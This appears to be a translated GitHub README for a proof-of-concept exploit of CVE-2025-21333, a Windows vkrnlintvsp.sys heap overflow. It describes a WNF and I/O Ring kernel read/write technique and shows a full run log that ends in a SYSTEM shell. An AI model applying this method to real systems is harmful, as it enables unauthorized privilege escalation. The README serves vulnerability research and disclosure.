MrAle98/CVE-2025-21333-POC

GitHub: MrAle98/CVE-2025-21333-POC

针对 Windows vkrnlintvsp.sys 驱动 CVE-2025-21333 堆溢出漏洞的概念验证,通过 WNF 和 I/O Ring 技术实现本地权限提升至 System 级别。

Stars: 227 | Forks: 35

# CVE-2025-21333 概念验证 利用 vkrnlintvsp.sys 中 [CVE-2025-21333](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21333) 漏洞的概念验证(可靠性不高,请参阅要求和限制部分)。参考文献部分包含非常有用的资源,适合想要研究此漏洞利用的人。 关于该漏洞和利用程序的详细分析可在[此处](https://medium.com/@ale18109800/cve-2025-21333-windows-heap-based-buffer-overflow-analysis-d1b597ae4bae)找到。 该漏洞已被检测到被威胁行为者积极利用。 在 **Windows 11 23h2** 上测试通过。 它可能也适用于 **Windows 11 24h2**,但我没有测试过。 以下是用于测试 POC 的 ntoskrnl.exe 和 vkrnlintvsp.sys 的哈希值。 ``` PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys Algorithm Hash Path --------- ---- ---- SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v... PS C:\Windows\System32\drivers> ``` ``` PS C:\Windows\System32> Get-FileHash ntoskrnl.exe Algorithm Hash Path --------- ---- ---- SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe PS C:\Windows\System32> ``` ## 覆盖 I/O Ring 缓冲区条目以实现任意读写 它不使用 NtQuerySystemInformation 来泄露内核地址,也不使用 PreviousMode 来实现任意读写。 相反,它在分页池中分配了一个指向 [_IOP_MC_BUFFER_ENTRY](https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IOP_MC_BUFFER_ENTRY) 的指针数组,并用位于用户空间的恶意 IOP_MC_BUFFER_ENTRY* 覆盖第一个指针。使用 _BuildIoRingWriteFile()_/_BuildIoRingReadFile()_ 可以在内核中实现任意读写。 指向 __IOP_MC_BUFFER_ENTRY_ 的指针数组是一个 PoolTag 为 **IrRB** 的对象。 该技术与 Yarden Shafir [在此处](https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/) 记录的技术略有不同。该技术不是控制 _IORING_OBJECT.RegBuffers 所指向的整个数组,而是仅控制 _IORING_OBJECT.RegBuffers 所指向数组中的 **一个条目**。 由于指针数组的大小可由用户控制,这意味着从针对多个 LFH 桶的堆溢出和 UAF(释放后重用)开始,它可以用于在 ring0 中实现可靠的任意读写。 我不知道是否有人已经分享过这种利用分页池中的溢出或 UAF 的技术。 这些截图是在执行 poc 后截取的。溢出发生在对象大小为 0x50 的桶中。请注意,可以在该桶中分配 RegBuffers 数组,并且第一个指针指向用户空间内存。 ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/417dcdd19e074811.png) 请注意,恶意条目将 _Address_ 设置为进程对象。_Address_ 对应于我们可能想要读取或写入的任意地址(这在 Yarden Shafir 的文章中已有详细描述)。 ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/46fff941f4074813.png) ## 要求和限制 必须开启 **Windows 沙盒功能**,以便易受攻击的 syscall 由易受攻击的驱动程序处理。 ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/4cecdc2ab4074815.png) 我设法实现了 **0xfff0 字节的溢出**。我没能让溢出长度完全可控。如果 **溢出大于子段**,你会看到崩溃(这可能经常发生)。也许通过喷射更多对象,可以最大限度地减少这种情况。 该 poc 释放 2 个 WNF 状态数据以便在这些位置重新分配 regBuffer(一个与 IORING_OBJECT 关联的指向 [_IOP_MC_BUFFER_ENTRY](https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IOP_MC_BUFFER_ENTRY) 的指针数组)和一个 PipeAttribute。有时,在释放和重新分配之间,可能会发生另一个驱动程序在该位置分配另一个对象的情况。可以在 while 循环中使用其他损坏的 WNF 状态数据对象来执行多次重新分配尝试,并增加获得所需布局的可能性。 poc 代码相当凌乱。 获得 System 权限后,最好 **在控制台中输入 `exit` 退出系统 shell**,否则 **机器将崩溃**。 ## 编译和运行 编译 x64 Release 版本。 运行并获得一个系统 shell。 ``` PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe Preparing... [*] fNtCreateCrossVmEvent = 00007FFD6BC31690 [*] fNtQueryInformationProcess = 00007FFD6BC304E0 [!] WindowsSandboxClient.exe process not found [*] spawning windows sandbox [*] CreateProcessA returned successfully [*] NtQueryInformationProcess returned successfully [*] peb_addr = 0000000100335000 [*] ReadProcessMemory returned successfully [*] ProcessParameters = 00000147B06A6430 [*] ReadProcessMemory returned successfully [*] CommandLine = 00000147B06A6ADA [*] CommandLine_size = 3f0 [*] commandline = C:\Windows\system32\WindowsSandboxClient.exe 19a1ef14-ee35-47d8-8bdb-cf4c86272272WDAGUtilityAccount66387310-a27d-4a59-a688-3ab018388c9etruetruetruefalsefalse0 [*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272 [*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272 Created GUID extracted guid 0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r guid 0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r Triggering vuln creating crossvmevent... max corrupted WNF state: a18d294541c64e6d val: 0 dataSize: 10040 calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040 buffer content [+] found WNF to be freed and replaced with RegBuffers offset 30 [+] found WNF to be freed and replaced with PipeAttribute offset2 80 updating regBuffersControllerWNF calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040 calling NtUpdateWnfStateData returned successfully [*] retrieving WNF with content 0x4343434343434343 [*] retrieving WNF with content 0x4444444444444444 searching in statenames2 found corrupted WNF: a18d514541c64e6dval: 4343434343434343 found corrupted WNF: a18d614541c64e6dval: 4444444444444444 found1 1 found2 1 found1 1 found2 1 found1 1 found2 1 0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6 ....IrRBd.v..... 0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00 ................ 0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00 ....NpAt........ 0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff ..+G......+G.... 0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00 8.*M............ 0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41 :.*M....Z.AAAAAA 0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB 0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00 ....P...P....... 0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB 0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00 ................ 0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [+] regBuffers found and can be overwritten [+] pipeAttribute found and can be read [*] original_regBufferEntry: ffffe309f1b1a1a0 [*] pipeAttributeFlink: ffffd10a472b01d0 [+] found target handle [*] targetHandle: 00000211216BC4D0 [*] ioring index: 425 [*] fileObject: ffffe309f134d7e0 [*] base of npfs.sys: fffff80631660000 [*] base of ntoskrnl.exe: fffff80628c00000 [*] system EPROCESS: ffffe309ea4c2040 [*] system TOKEN: ffffd10a3a246040 [*] curpid: 21c8 Microsoft Windows [Version 10.0.22631.4460] (c) Microsoft Corporation. All rights reserved. C:\Users\unpriv>whoami nt authority\system C:\Users\unpriv>exit calling NtUpdateWnfStateData returned successfully PS C:\Users\unpriv> ``` ## 参考文献 * https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf * https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/ * https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/ ## 致谢 * [@cbayet](https://x.com/onlytheduck) * [@paulfariello](https://x.com/paulfariello) * [@alexjplaskett](https://x.com/alexjplaskett) * [@yarden_shafir](https://x.com/yarden_shafir)
标签:0day, 0day挖掘, CVE-2025-21333, Exploit, IOP_MC_BUFFER_ENTRY, I/O Ring, POC, UML, vkrnlintvsp.sys, Web报告查看器, Windows 11, Windows 内核, WNF, 任意读写, 内核安全, 协议分析, 堆缓冲区溢出, 技术分析, 攻击样本, 本地提权, 权限提升, 缓冲区溢出, 网络安全, 隐私保护